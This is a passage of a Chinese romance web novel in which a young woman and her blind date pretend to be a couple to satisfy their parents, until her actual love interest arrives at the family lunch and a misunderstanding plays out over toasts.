回趟家,直接就被截流了,回不回得来还是未知,居然连通讯都充满障碍,还闹出一个天大的误会。
他还是低估了肖远舟夫妇对闺女的宝贝程度,也幸亏之前交代了肖瑜暂时不要提他俩的事。这要知道如今他更想要的,是肖家这宝贝疙瘩,还跟她都那么亲热过了,肖远舟指不定会直接掐断跟他之间的一切往来,让他彻底近不得小姑娘的身。
他闭上眼睛想了会儿,起身走去顾菲的房间,敲了敲门。
51. 第 51 章
第五十一章
第二日用过早餐,肖瑜上楼换衣服,准备跟妈妈一起出门逛街。楼下肖远舟也问起妻子,宝贝闺女对那个简承贤的印象。
“不喜欢,说是没什么眼缘。我看啊……”穆青华想起跟闺女的夜谈,叹了口气,“一时半会儿的,还放不下昊昊。昨晚还在问我跟老姜家有没有联系过,问我他家的房子还留着没。昨天是我冲动了,只想着让她回来搁眼前疼着。可现在想想,又怕真要是现在让她搁家里待着,会不会触景伤情心里难受。泽城那边不住校还好,可在家,一条街上长大的,出了门哪儿哪儿……”
穆青华话音还没落,肖瑜已经飞一样从楼上跑了下来,直冲冲拉开大门,却又站在那里,雕像般一动不动。
肖帅锁了车,转眼见到自己的妹妹站在大门口,整张小脸激动得红白不定,想上前又不敢,颤着唇角看向他身后的车子。他暗骂一声,连忙过来把她拢怀里,小声安慰道,“别哭。是哥哥不好,先进屋。”
“他没回来……”肖瑜的眼泪一下就涌了出来,推开肖帅痴痴地看向那辆车,紧咬着嘴巴,哭的没声没响。
“你怎么把这车给开过来了?”穆青华也赶了过来,心疼地瞅着闺女只穿了一只袜子的双脚,气得柳眉都竖了起来,“你不是知道你妹妹周末回家吗?”
“我,我这……”肖帅张了张嘴,还是自认倒霉地抬手往自己脸上轻抽了一个嘴巴子,拥起肖瑜进屋劝道,“好好的哭什么啊,喜欢拿去开,我不跟你抢。”
“他把车也给你了吗?”肖瑜已经从突来的情绪里稳了下来,有点不好意思地看向备受委屈的哥哥,挤出一个笑,“我就是,我刚在楼上看到他的车,还以为他回来了。对不起哥哥。”
“车在姜叔名下,就是暂时帮他们照看着。放久了不开会坏,我前几天刚跑完做了个保养,这不今儿回来看你,想着待会儿顺路给开回去吗?谁知道又捅了马蜂窝了。”肖帅见她不哭了,语气也轻快起来,笑道,“最近上班挺开心?我听你冬冬姐说,情人节礼物收得手软,还惦记耗子干嘛啊?比他好的多了去了,再说他远天远地的,说不好都已经谈了好几个奔放的洋妞呢。”
穆青华横着眉瞪他一眼,肖远舟在边看向肖瑜,眼中也都是心疼。
肖瑜撇了下嘴,长舒一口气,“我没再想那么多了。就是在楼上猛地看到他的车,一下子没管住腿。”
“也没管住泪腺,还是哭包一个。”肖帅揉揉她的脑袋,得意地朝松口气的父母扬了下眉,又笑道,“今天要去相亲是不是?你想妈陪你,还是我陪你?我专门找人翻墙查过那小子的社交软件,至少目前了解的还算干净,就是个子矮了点,将将的一米八。”
“我不想见,待会儿跟妈妈逛街。”肖瑜摇摇头,跟爸妈交代了一声,转身又上了楼。
“不想去就先别去了,急不来。你们娘俩多在一起说说话,开解开解。”肖远舟在沙发上坐下来,沉了眉,“只是看见昊昊的车,就又什么都不顾了。这孩子心眼太实了。”
“那这半年,还是让她先安心在泽城待着吧。”穆青华有些不舍地往楼上看了一眼,叹息道,“白天上班没时间胡思乱想,晚上燕北北在那儿,俩人还能搭伴聊聊天,比在家里闷着难受还是强些。老公……”她又问询地看向肖远舟,“你说呢?”
肖远舟也没辙,揉着眉心道,“你还是再问问乖宝的意思,一切以她的想法为主。不过就算回,也得过几天再回去,不能让顾程那小子觉得拿捏住了。”
“我听冬冬说,顾程对小鱼儿很特别,整个公司都说他们在处朋友。”肖帅皱着眉小声道,“他比我还大呢,我不同意。”
“你妹妹的心思你还不懂?要是真处了,刚才还会那副模样?”穆青华好笑地瞪他一眼,说道,“顾程这个人虽然心思挺多,男女方面倒是很清白,不是个会乱来的。泽城的名媛闺秀,他都见遍了,连舟城的都见过不少。这个年纪还不结婚,也是因为心里早就有了人。我跟你爸都了解过,不然早就过问了。”
*
肖瑜此刻也缓了神。
方才窗前随意一瞥,姜昊的车子在门前停下,就如曾经放假他来接她出去玩。以为深埋心底、再不会破土而出的思念,毫无预兆支配了她的双腿,让她连想都没机会去想,撒丫子就追了下去。
可真的拉开了门,她却又想起他剜心的讽刺,和不告而别的决绝,不敢再多迈出一步。
多想看到他,就有多怕见到他。
而此刻她坐在床上,看向窗外。那里晴空万里,入目是树枝上的嫩芽,昭示着冬日的远离,和初春悄无声息的来临。
她慢慢收回视线,拿出手机开始翻看昨晚错过的数条微信。
顾程听她不方便联系后就没再多说。顾菲之前长篇大论她没来得及看,等这会儿坐下来细看,没一会儿,她便忍不住弯了眼眸。
顾菲就跟写小作文似的,从顾程带了秦舒曼进家门开始,事无巨细汇报了一遍,尤其把她哥跟她通过电话后的表情和言语都细致描述了一番,一边夸赞顾程男德楷模,一边悄咪咪说她哥纯情易推倒,让肖瑜加把劲儿,找机会再喝个烂醉,真的把她哥拐上/床不是梦。
燕北北对此半信半疑,发出直击心灵的拷问:‘菲菲,你哥是不是又给你解卡了’?
于是两个活宝在‘一亿年美女’群里掐起来,没有观众都闹得热火朝天,一直掐到十点半才突然沉寂了下来。
肖瑜咧着嘴把信息都看完,才在群里回道:【不好意思,昨晚妈妈跟我睡,没看微信。菲菲,昨天回来的路上,我认识了一个朋友,他也是在泽城做游戏的,在AZ,跟你那个最爱是不是同一家啊?】
发完微信,她才想起来这个点顾菲应该还在撅着屁股睡。于是她又私信了燕北北:【我爸妈不打算让我回泽城了,都让人跟顾总打过招呼了,他也同意了……可是北北,我不想待在家里。我还没告诉他们你出去住了。你下午给我打电话,就说你想我,没我晚上睡不着行吗?然后我跟他们说,我得去陪你。】
一向早起的燕北北居然也没回话。
肖瑜等了半天,语音通话的请求突然响起,她十分诧异地瞅着上边的名字,摁了接听:“简承贤?”
*
肖瑜再下来的时候,情绪明显有了很大转变。
肖远舟和肖帅已经在花园里支起了茶摊,喝着茶下着棋,跟一边的穆青华聊着天说说笑笑。
远远见到扎着丸子头青春靓丽的肖瑜,穆青华连忙起身把她迎到身边,不住赞叹,“咱家乖宝就是好看,怨不得小简见过一面就忘不了。刚才他妈妈又给我打电话了,说想约你出去玩。不过我看你不喜欢,就给推了。”
“他刚才也打给我了。”肖瑜有点扭捏地低下了头,小声说道,“妈妈,要不我再见见他吧?其实,也不是那么没有眼缘,仔细想想,他还是……帅的。”
穆青华一愣,不禁看向了自家老公。肖远舟也有点疑惑地皱了眉,“乖宝,你不用为了让爸妈安心去见人,我们只是想你能开心点,不喜欢不需要勉强。”
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肖瑜咬了下唇,心里暖暖的,抬起眼睛笑眯眯看着父亲说道,“我知道的爸爸,我不会勉强自己。昨天是第一次跟陌生的男孩子见面,我有点紧张,也不太好意思。其实……我们昨天都加过微信了,本来是打算回了泽城后,先当朋友处的。”
“之前我跟你爸见过小简,确实模样很周正。”穆青华舒了口气,笑道,“昨天送你回来的时候,听你王叔说,小简扭扭捏捏的,没个男人样,我还觉得奇怪。或许真就是第一回见面太拘谨,你要是真觉得能看得顺眼,想再处一下看看,那就再见见?”
“约一下,我先见见。”肖帅立刻起身过来,扬了下车钥匙,“爸妈,我带小鱼儿去。”
“不要你去。”肖瑜连忙拒绝,视线从他手中的车钥匙上滑过,过来揽住穆青华的胳膊,“我跟妈妈去,你太挑剔了,肯定看不上他。”
“未来妹夫不过我这关,哪来的资格直接见爸妈?”肖帅还是不依不挠,勾住肖瑜的肩膀把她从老妈身边扯过来,“走,我带你去,让你开耗子的车。”
肖瑜嘟着嘴看妈妈,穆青华跟肖远舟都是笑得又无奈又欣慰。穆青华道,“确实得让你哥把把关,不然将来怎么看都不顺眼。去吧,中午回来吃饭,让王嫂炖鱼汤给你,少吃零食。”
*
上了车,肖帅坐在副驾看向肖瑜,因为妹妹抬手缓缓抚摸方向盘的动作,心里酸了一下,劝道,“时间久了总能放下的。妹妹,没有谁真的离了谁活不下去。”
“嗯。”肖瑜抬手捂住眼睛,可脑海中依旧是姜昊手腕上挂着小鱼吊坠,大手抚在方向盘上,转头看着她笑的样子。她的眼眶又开始发热,有些气馁地把车钥匙递给肖帅,“哥哥,我开不了。”
换过位置,肖帅叹了口气,一边发动车子,一边思忖着说道,“要不还是别去见了,我带你找个地方发泄一下?”
“不用了。”必经之路上,入目是他跟她曾一同嬉笑逗闹过无数次的街道。肖瑜闭上眼睛,长舒一口气,“哥哥,我真的没事。以前是因为总有一丝期待,现在已经不再抱有幻想了,时间会慢慢冲淡一切的。”
“是这个理。”肖帅点点头,问道,“现在就我在,你跟哥哥说实话,你对这个简承贤到底印象怎么样?不喜欢就别浪费时间,第一眼看不上的人,再看一百遍也看不上。”
“也不一定啊。”肖瑜因他的话,下意识竟想起了顾程,她咬了下唇,垂下眼眸,“或许第一印象存在误解,相处下来会有很大的改观呢?我们约了在中央广场,不过……你去的话,他不知道会不会又觉得拘谨。”
“大老爷们儿,拘谨什么啊。”肖帅撇了下嘴,登时对简承贤的心理预期就不怎么好,“小鱼儿,移情疗伤没问题,但标准绝对不可以降低。未来妹夫必须哪儿哪儿都比耗子强,不然我第一个不答应。”
“什么未来妹夫啊……”肖瑜很是无奈地瞅他一眼,靠向椅背,“都说了先做朋友的。”
“开什么玩笑。”肖帅好笑地看她一眼,“你都不知道咱妈是从多少适龄男人里筛选出来的这些个,家世学历样貌还有感情经历,一样样查,简直媲美后宫选妃。小鱼儿,你失去了一棵树,得到的是整片森林的择优权,懂不懂?”
*
肖帅带着肖瑜赶到见面地点的时候,简承贤正曲着两条腿坐在喷泉边,一手抠手机,一手拿烟,瞅那姿势,已然老烟枪一个。
抬头不经意一瞥,看到不远处信步走过来的两个人,简承贤愣了一下,灭掉烟起身迎了过来,不确定地问道,“肖瑜?”
52. 第 52 章
第五十二章
他两个昨天一面之缘,彼时肖瑜浓密的长发披在肩头,穿的也是衬衣西裙,跟今天扎着丸子头清纯甜美的模样,有些出入。可巴掌大的小脸,精致如洋娃娃般的五官,人群中仍是十分亮眼的存在。而她身边的男人……
肖瑜也有点不确定地看了看他,率先介绍道,“这是我哥哥,肖帅。哥哥,他就是简承贤。”
简承贤的样子也跟昨天不太一样,昨日休闲的西裤衬衫,今天则是更显朝气的卫衣和休闲裤,像个还没毕业的大学生。
听到肖瑜说男人是她哥哥,简承贤又是一愣,登时又有点拘谨地挺直了腰,笑得十分勉强,“哥哥好。”
“谁是你哥哥,别乱喊。”肖帅皱了下眉,上下打量了简承贤,点点头,“你叫我胖哥吧,相熟的都这么喊。准备跟我妹妹去哪儿约会?”
肖帅高中之前圆滚滚的,又是个孩子王,外号胖哥。即便如今又高又瘦,依然还是喜欢被人这么喊。
肖瑜憋着笑,冲简承贤使了个眼色。他挠了下头,有几分无奈地左右看了看,问肖瑜,“你说吧?哪儿都行。”
三人行的相亲约会,十分令人尴尬。
肖瑜走在中间,简承贤和肖帅一左一右。她时不时忍着笑弯一下眼睛,一边的肖帅则凝眉时不时看看简承贤,怎么看怎么觉得不顺眼。
个子没他高,气场没他强,闷葫芦一样不知道哄妹妹开心。除了长得像个人,没一丝顺眼的地方。
终于把中央广场一侧的小公园转了快两遍,肖帅忍不住问道,“你俩要是没什么意思,就这样吧?”
“胖哥,你跟女朋友约会也是三人行吗?那我想说什么也没法说啊。”简承贤连忙开口,带了几分埋怨,“您要不去车里等吧,我跟你妹妹少说几句就让她回家。”
“你要说什么是我不能听的?”肖帅斜睨着他,满脸不耐,“大老爷们儿,痛快点。处还是不处?”
“哥哥。”肖瑜很合时宜地挽住他的胳膊,小声劝,“要不你先回吧?你在这儿,确实让人觉得怪不好意思的。”
“我都替他急,没长嘴似的,怨不得王叔埋汰。”肖帅是个急脾气,转了这两圈,早就转出了满肚子火,掏出手机看一眼,指指不远处的大厦,“我去玩两盘盛世,待会儿……”
“哥你也玩盛世啊?!”简承贤眼睛一亮,登时就接过了话,“感觉怎么样?有什么BUG吗?”
“你也玩?”肖帅这才正眼看向他,眉目舒展了些许,“还在内测,不过国内网游能有这样的质感,已经很不错了。我还卡在山水关那儿,NPC任务一直交不上,你玩过?知道怎么解么?”
“这游戏就是我们开发的,那一关是隐藏线,你得先做了桃花村的任务才能交,不算BUG。”简承贤撸了撸袖子,直接过来揽上了肖帅的肩膀,热情地说道,“哥,我陪你玩儿去,我今儿出来就是想……”
他说着,突然把手又放下来,看了眼肖瑜,有点尴尬地清了清嗓子,“哥,那你先去玩儿,回见。”
“这游戏你开发的?”肖帅忽然觉得这个小白脸看起来顺眼不少,可到底这是妹妹的相亲局,他挑了下眉,笑道,“行,那随后要是跟我妹处了,咱俩再一起研究研究。小鱼儿……”他伸手捏一下妹妹好气又好笑的脸,挥挥手,“待会儿给我电话。”
*
“服了,你来就来,干吗带家里人啊。”
肖帅前脚走,简承贤后脚就垮了肩埋怨道,“咱俩这事儿,肯定得瞒着家里来。”
“你不觉得这样才更逼真吗?”肖瑜跟他在小公园里又散步一样逛起来,咧着嘴笑道,“昨晚我刚说了没眼缘,今天又要出来见你,家里肯定是有点怀疑的。你呢,你爸妈都没觉得奇怪吗?”
“行吧,你是女孩子,到底比我心细。”简承贤点了下头,很无奈地笑道,“昨晚到家,我刚说不合适,立马就给我又支了个场子。那女孩在本地工作,应该是真打算处男朋友的,我都表现得像个傻子了,晚上到家居然还一个劲儿发微信要约我,还让她妈妈跟我妈劝。所以我觉得吧,还是咱俩合适,彼此都没什么兴趣,平时又刚好都在泽城,他们也管不着,相互还能打个掩护。再说你长得比她好看多了,我就跟爸妈说,一对比,还是你更合适,就出来了。”
“你家里还真是挺急的。”肖瑜忍不住笑,可想起泽城,还是难免心里涩了一下,敛了眉,“不过我回不回得去泽城还不好说,我爸妈想让我待在家里,我还没想好非要回去的理由。”
“那你不是更需要我这个‘男朋友’吗?”简承贤一听就笑了,“待会儿这样,我去找我哥们儿玩游戏,你也找自己的小姐妹在外边玩玩,等到晚上咱俩再见个面,我送你回家。完了就说处得不错,想回泽城后多处处再了解了解。我明天上午就联系你,邀请你陪我一起回去,怎么样?”
这主意委实不错,不让家里起疑,还有合适的理由回去。肖瑜弯着嘴角就想点头,可想了一下,还是嗫嚅道,“可我在家没什么朋友,我也不习惯自己在外边玩……”
以往除了被姜昊带出来玩,她大多都是跟家人在一起,或者宅着,就连逛街也是陪妈妈一起。尽管是舟城本地人,如今想想,仅有联系的几个同窗也都是跟姜昊有着交集的,竟没有几个随随便便就能叫出来玩的朋友。
“你要不介意的话,跟我去网吧玩儿啊。”简承贤倒是很爽快地点了下头,双手往裤兜一插,朝她笑道,“不过见了面最好还是装我女朋友,不然你这么漂亮,难免那些家伙不动心。”
*
这一玩,还真就玩得挺开心。
她向来不晚归不独自出门,上大学后不少同学整宿泡在网吧,她却连去都没去过一次,因为姜昊并不喜欢玩游戏,她也就没这方面的兴趣。
可今天被专门搞游戏的简承贤带过来,还有一群同龄的男孩女孩热热闹闹在边陪着,肖瑜本来还在角落里安静地看电影,可眼睛扫了扫电脑上绚烂逼真的场景,又被简承贤他们怂恿着送了号试玩,她跟走入新世界一样,好奇又新鲜地拿鼠标操作着一个英姿飒爽的女刺客,开始了新手村杀猪的旅程。
小怪物不时爆出金币,NPC给出的任务充满戏剧性,游戏场景也十分的唯美。每一段剧情她都没有跳过,不知不觉玩得入了迷。终于升了好几级,遇到第一个精英怪物的时候,肖瑜被打死了好
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几次,这才歪头看向一侧的简承贤,问道,“你帮我把它打死好吗?”
简承贤正玩在兴头上,嘴里叼着烟哼哼,“行,等会儿的,让我把这个老妖先弄死。”
“阿K,这到底是不是你女朋友啊?”简承贤另一边的男孩子,见状翘着嘴角笑道,“这么漂亮的女朋友,瓷娃娃似的,就把人丢一边冷着?小心明儿就跟人跑了。”
“跟谁跑也不会跟你跑。哎我C,你别逼逼,给我加血啊你!”简承贤一边疯狂敲着键盘,一边吼,“看着没,这个特效,华丽啊!去,这他么‘胖哥’想死吧?敢来截胡?弟兄们上,弄死他先!”
肖瑜因着他那声喊,连忙盯着他屏幕上的小人儿看,一个胖墩墩的矮子,头上顶着‘胖哥’两个字,身后也跟了一大群的小伙伴,正在一边打一条龙样的怪兽,一边跟简承贤这边的队伍混战。
她不由想起了可能还在网吧玩游戏的哥哥,正准备打电话过去交代一声,肖帅的电话却先一步打来,直接就说,“聊怎么样了?能处吗?在哪儿呢?”
“我们出来打游戏了。在菠萝网吧。”肖瑜看了眼身边烟雾缭绕的简承贤,很违心地说道,“处吧,还挺合适的。”
“那就把他带回去吧。”肖帅那边的背景音也是噼里啪啦敲键盘的声音,还有时不时的叫骂,很快速地交代道,“妈说了,如果打算处就顺便带回家吃个饭,他俩也再见见。十分钟后门口等。”
放下电话,简承贤那边也刚好打完老妖,大笑着跟身边的朋友击了个掌,可转头听到肖瑜说要带他回家吃饭,灿烂的笑脸登时一蔫儿,像苦瓜,“所以我才不想谈恋爱,一处女朋友哪儿哪儿都是事儿,见爸妈,见七大姑八大姨的,烦死了。”
“没关系啊,你不去也没事的。”肖瑜很理解地看着他笑道,“我就说你还是有点害羞,不敢去就好了,等处久一点再说。”
简承贤犹豫了一下,还是大义凛然地摇摇头,“算了,我还是跟你回去一趟吧,这样我爸妈也就彻底放心了。而且昨晚我瞅着你家的司机看我很不顺眼,万一真给你爸妈上眼药多了,我哪儿再找个你这么合适的。不就一顿饭吗?一劳永逸,走。”
*
简承贤起初还是一副提不起劲儿的样,可跟肖帅两个重新见了面,聊几句游戏才发现,原来刚才混战PK差点要线下约架的‘胖哥’真的是胖哥。俩男人不打不相识,从起初的互看不顺,到后来眉飞色舞聊得热火朝天,下了车勾肩搭背,肖瑜反而像个多余的。
进家门前,肖帅瞅一眼刚刚驶离的那辆奔驰保姆车,奇怪道,“东A6号牌?难道家里来客人了?”
听到东A,肖瑜也愣了一下。
泽城的车。
简承贤则咂了下舌,道,“那牌照我知道,顾氏太子爷的。你们认识?”
泽城,顾氏……
肖瑜惊愕地瞪大了眼睛,还是一头雾水的时候,院门大开,燕北北和顾菲已经跑过来拉起她,哈哈笑道,“惊不惊喜?意不意外?”
“顾菲?!”
简承贤在后方诧异地喊了一声。
顾菲一抬眼,也很诧异地叫道,“阿K?你怎么会在这儿!”
53. 第 53 章
第五十三章
临到进了客厅,肖瑜都还脚步虚浮,如同梦游。
而看到在花园里跟父亲喝茶谈话的那人时,她下意识回头看了眼正跟顾菲和肖帅嗨聊的简承贤,有点欲哭无泪。
顾程也看到了她,目光在她身上顿了一下,并未过多停留,回眸依旧浅笑着跟肖远舟低声言谈,两人似乎聊得十分投机。
肖瑜连忙扯过燕北北,打算拉她上楼好好问问。可穆青华已经走了过来,满意地看向简承贤,问肖瑜,“处的不错?我看这孩子挺爽朗的,昨晚肯定就是紧张了,才会拘谨。会紧张了好,说明平时不怎么跟女孩子处。”
一边的燕北北听了,下意识看了眼顾程的方向,有点摸不着头脑。
肖瑜赶紧扯了扯她,跟穆青华说道,“妈妈,我跟北北上楼一下。”
“去吧。”穆青华还以为女儿有点害羞,摸摸她的头,笑道,“饭菜都备好了,今天家里客人多,别怠慢了。你们小姐妹说几句快点下来。”
“嗯。”
*
“相亲对象?!姐妹你疯了,居然敢绿顾总!”
进屋听肖瑜大概解释了下情况,燕北北一听就急了,跟个机关枪似的一顿说,“昨晚顾菲联系我,说顾总听说你被截胡了,让我跟她借着找你玩的由头过来,打算明儿亲自把你接回去的。你可好,搞什么相亲对象啊!”
“都说是假的了……”肖瑜郁闷得不行,一张小脸皱成了包子,“我以为他无所谓的,所以我在自救啊。那怎么办,待会儿这……”
“真是自作孽不可活。”燕北北捂着额摇摇头,坐下跟她一起想办法,“不过是顾总让你先别跟家里说的,随后你跟他解释起来也算有理由。小鱼儿,你待会儿在桌上可别跟那什么阿K眉来眼去的,我瞅着顾总可不像是个能忍气吞声的男人,小心回头收拾得你下不了床。”
“你别胡说,我们没有。”肖瑜推她一把,气闷地拿手托起了下巴,“你们要来也没提前说一声,不然我肯定不会把他带回家的。”
“顾总不让说啊,说是要给你一个惊喜。”燕北北转着眼珠想了想,有点后知后觉地张大了嘴,“啧,搞不好故意的,就是想看看你在舟城是不是有别的男人?”
“……”原本对顾程同意自己不回去的那点失落,因为他突然出现,只剩下愧意和内疚。肖瑜也顾不得去纠结顾程到底是故意的,还是无意的,她热锅蚂蚁一样起身在卧室里转来转去,陈嫂却上楼笑眯眯说道,“小姐,夫人叫你和北北小姐下去吃饭,客人都已经入席了。”
*
柔和的日光下,餐厅长桌边上已经坐满了人,留下的两个空位旁边,一边是简承贤,一边是顾菲。
顾程自然是挨着肖远舟,坐在主宾位置,笑意浅淡,客气有礼。见肖瑜跟燕北北走过来后,犹豫地向他看了一眼,就在简承贤殷勤拉开的椅子上坐了下来,他笑意越发浓了些,跟肖远舟说道,“怪不得令嫒不打算回泽城实习了,原来是在家里处了男朋友。您要早说,我自然直接放行,恐怕也没这机会跟您私下见一面。”
肖瑜登时觉得如坐针毡,大气不敢出地低了头。
一桌人里,燕北北目前是最知情的,可她什么都不敢,也不能说,装作听不懂似的盯着眼前盛满果汁的玻璃杯。而脸色最难看的是顾菲,她刚也听简承贤说了相亲的事情,早已没了刚刚相见时热情的笑脸,而是横眉冷眼盯着肖瑜,顺带着还拿大眼睛狠狠剜了剜简承贤。
肖远舟和穆青华察言观色,刚刚就觉得顾菲跟简承贤熟络得有点过分,如今桌上看她神色,相视一眼,肖远舟便笑道,“也是刚处上,第一次来家里。顾总今日客气了,来,敬你一杯,远道而来,我也陪一个。”
一杯酒尽,什么都还不明了的简承贤,因为有意表现他跟肖瑜已经情投意合,很殷勤地拿公筷给肖瑜夹了些菜,还凑过头来作势跟她耳语,“待会儿吃完饭,就说咱俩要约会,我还要出去打打游戏,晚上再一起回来。”
此刻肖帅刚提完第二杯酒,肖瑜食同嚼蜡地偷眼看向对面的顾程,见他唇角端着浅笑跟肖帅客气应酬,两人提起他送给肖帅的车模,你来我往说了几句笑起来,似乎完全不在意自己这厢的动静。
她也不知是该松口气,还是该提口气,紧着心头也捂起嘴,在简承贤耳边小声说道,“他就是我男朋友。你别太夸张,别再给我夹菜了,我怕他待会儿不高兴。”
“什么!”简承贤登时就惊讶地叫了出来,待见满桌人神色各异地看向他,他十分尴尬地红了脸,有点慌不择路地端起面前的酒杯,盯着顾程说道,“顾总……我,我想敬您一杯。”
肖瑜莫名其妙地瞅着他。
顾程看一眼肖瑜,笑了,“你我初次见面,这酒似乎敬得没什么道理。”
“顾氏旗下的蓝枫,正在跟我们公司商量下一步投资的事情。”简承贤咽了下嗓子,思忖着措辞道,“顾总,都说不打不相识。我希望我们公私分明,很多事情都不是眼见就为实的。”
肖瑜一下就明白了过来,目光挪到了顾程脸上。
肖远舟和穆青华听了这话,虽然神色间并未表现出任何不满,却几乎同时都看向了顾菲。
顾菲撇了下嘴,不屑又嫌弃的样子。
肖远舟夫妇二人见状对视一眼,都在彼此眼中看到了答案。这个男孩子,看来是不成了。
顾程倒是十分场面地捏着酒杯转了转,笑道,“今天我是以菲菲哥哥的身份过来的,陪她见见朋友而已,不谈工作。何况,那些小事自然有相应的人处理,跟我没关系。”
“那就好。”简承贤刚舒了一口气,跟着便听顾程道,“不过这样看来总是有缘。我就借花献佛,敬你跟肖瑜一个酒,恭喜你们相亲成功,一拍即合。”
他话音落下,端起酒杯便抿了一口,勾唇看向对面脸色一个比一个忐忑的简承贤和肖瑜,抬了下眉。
简承贤是个搞技术的,但也没少出席过酒局,心知顾程是何意。他毫不犹豫地端起面前的酒杯,咕咚咕咚一饮而尽,末了还杯底朝下晃了晃,给足了诚意。
可顾程却又看了看肖瑜,朝他笑道,“豪爽。可这酒敬的是一对儿,肖瑜不喝酒,不如你把她的也替了。”
这下肖远舟和穆青华更加确定,顾程是在为妹妹出头。尽管对他初来乍到这般霸道不太认同,可毕竟阴差阳错的,自家闺女相亲相到了他妹妹的男人身上,终究是对简承贤这小子底细没了解清楚,两人倒也没多掺和,端着笑意看似宽和地看着这些小辈们,就看简承贤要怎么收场。
简承贤抽烟抽得喝水一样可以不带停,酒量却很浅。何况刚刚一整杯茅台下肚,喝得又急又猛,脸色早已激红一片,还被四下里各色目光放在火上烤。他硬起头皮拿酒往杯子里倒满,委屈地看了眼肖瑜,正要端起来再喝,肖瑜却小心翼翼地看着顾程问道,“顾总,可不可以别让他喝了?”
这原本就是她跟简承贤两人共同的计划,如今却只有简承贤被推出来当靶子,令她十分内疚。何况他俩也不是真的情侣,若是真把这酒给喝了,往后不是更加难以解释吗?
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顾程听了这话,低笑一声,淡淡看着她道,“这么快就心疼了?一杯酒而已,你男朋友受得了。”
“我……”肖瑜想解释,话到嘴边却又咬了唇,只拿眼睛千言万语地看着他,惯是无辜的神色。
见到宝贝闺女这副模样,尽管对简承贤诸多不满,肖远舟也终于发了话,端起酒杯朝顾程笑道,“小简在泽城工作,顾总有的是机会跟他喝。倒是你我,场面上见着总要有些顾忌,今日趁着家宴,得喝个痛快。”
顾程闻言便收回视线,转头举杯跟他轻碰一下,抿了口,笑道,“我其实素来不爱喝酒。您老胃不好,也要少喝些。您的提议,下周我就让董事会研究一下,尽快给您回复。”
肖远舟也抿了一口,点点头,“刚还说不谈工作,几句话还是离不了。顾总年轻有为,心有大志,我很看好。”
两人视线交汇,是隐隐带着交锋的认可。又碰了一个酒,肖远舟才又笑道,“我已经通知了赵总,待会儿让他负责陪你四处转转。有什么需要跟他提,别客气。”
“多谢肖总款待,不过不必了。”顾程很客气地摇了摇头,看向顾菲,“人你们也见过了,吃过饭就回去,有问题吗?”
肖瑜闻言有些惊讶地睁大了眼睛,可他却连眼神都不吝给一个,依旧淡然地看着顾菲,视她为空气。
顾菲转头看看面色渐渐发白的肖瑜,又跟顾程对了下视线,点点头,“没问题。”
*
这顿饭里吃的最憋屈的就是简承贤,偏偏有口难言。饭后被穆青华微笑着留了下来,当着顾程的面,他跟肖瑜谁也不敢再提等下还要一起出去玩。
倒是顾程临走前很客气地跟他握了下手,还说了句:‘泽城见’。
简承贤很郁闷。
他在舟城也算个闹腾起来不怕没法收场的主,可在泽城,他所在的游戏公司,不管开发、运营还是推广,仰仗的可都是顾氏的资本。十几个小伙伴没日没夜的操劳,付出的心血和努力日月可鉴,如今被顾程这么一误会,万一蓝枫那边不再跟进,他都不知道要怎么跟大家解释。而一旦公司倒了,父母更有充分的理由劝他回老家了。心好累,他都不敢想。
肖瑜的情绪也很差。
原本燕北北跟她说,她和顾菲会陪她在家里住一晚,明天吃过早饭后,两个小姑娘就会跟穆青华撒娇卖乖,让肖瑜跟他们一起回泽城。可是现在,顾菲因为还不知情,心中对她有了怨气,而顾程……甚至连解释的机会都不给她,直接就回了泽城。
尽管临别前,燕北北在她耳边说,一定会帮她跟顾总解释清楚。
可肖瑜还是觉得心里空落落的,也酸酸的。
曾经一厢情愿的那个人,不告而别。以为两情相悦的这个人,同样没有正式跟她说一句再见。
她可能真的只是空有理论知识吧。不管是想追求一个人,还是想谈好一个恋爱,都做不好。
*
肖远舟和穆青华看着面前这俩各怀心事、魂游天外的孩子,相视一眼,都有点无奈。
穆青华先把肖瑜拉来身边,才问简承贤道,“小简,你跟顾菲是不是处过朋友啊?”
她语气很柔和,没有怪罪的意思,就像一位普通的长辈,在问询小辈的感情经历。
可简承贤一下就蹦了起来,把还没回过神的肖瑜吓了一跳。
“没有!阿姨,可不能再闹误会了!”简承贤急切地解释道,“菲菲是我一个好哥们的前女友,两个人现在还在拉扯呢。我跟她可是什么都没有,真的!”
54. 第 54 章
第五十四章
“先别激动。”肖远舟垂眸喝了口茶,指指简承贤身后的藤椅,“坐稳了,心才能稳。我跟你阿姨只是不太理解,为什么刚才顾菲和她哥哥,对你似乎有些不太友善。”
简承贤不禁低头看向肖瑜。
肖瑜也抬眸看了看他,继而低头握紧了十指。
“因为……”简承贤咬了下牙,红着脸说道,“因为,因为顾菲也追过我,但被我拒绝了。”
肖瑜紧绷的十指一下子松开,抬起头,惊讶地看着他。
简承贤又看她一眼,因她眼中的将信将疑,似乎暗暗给了她一个白眼。
肖瑜一时又有点懵。
穆青华倒是舒了口气,朝肖远舟点点头,笑道,“这倒是说得通了。不过感情的事勉强不来,我看顾程也不像是个为难人的性子,估计也就是当着妹妹的面,想给她挽回些颜面。”
“嗯。”肖远舟也点了点头,朝简承贤笑道,“倒是委屈你了,第一次来家里吃饭闹得有些不快。你什么时候回泽城?”
“明天上午就打算回去了。”终于说到正事,简承贤长舒一口气,坐回藤椅又有了笑意,“叔叔阿姨,我这周回来是提新车的,明天让小鱼儿跟我一起回泽城吧?我保证安全把她送到家。”
肖远舟看向肖瑜,她脸上并没有一丝一毫期待的样子,甚至闻言都不打算接话,于是他淡淡笑着应道,“小鱼儿昨晚才回来,你阿姨肯定得多留她几天的。明天你先回吧,如果顾氏那边为难你,你可以跟我说一声,我跟顾董也算说得上话,多少能帮你斡旋一下。”
*
单独送简承贤出门的时候,肖瑜才跟他解释道,“我不能跟你一起回去,不然我男朋友那里误会就更深了。不过你放心,我会跟他说明情况,不让他为难你。”
“那你呢?”简承贤叹了口气,摇着头还是郁闷得不行,“怪不得都说一个谎言过后,要无数个谎言来圆。我这回去还得跟阿J再通个气儿,不然又成了挖墙脚的。”
“阿J是谁?”肖瑜愣了一下,恍然大悟道,“你说菲菲追过你,原来也是假的啊?”
“不然呢?”简承贤伸手想去敲敲她的鱼木脑袋,手指抬在半空又收回来,斜了她一眼,“总不能把你想瞒着的男朋友揭穿了吧?我可不是不讲义气的人。”
“你真好。”肖瑜由衷夸了一句,待司机开了车过来,她朝简承贤点了下头,挥挥手,“等把误会都解释清楚了,回到泽城请你吃饭。”
“行。”简承贤也笑着朝她挥挥手,“到时候把菲菲和阿J也叫上,等你电话。”
“嗯。”
*
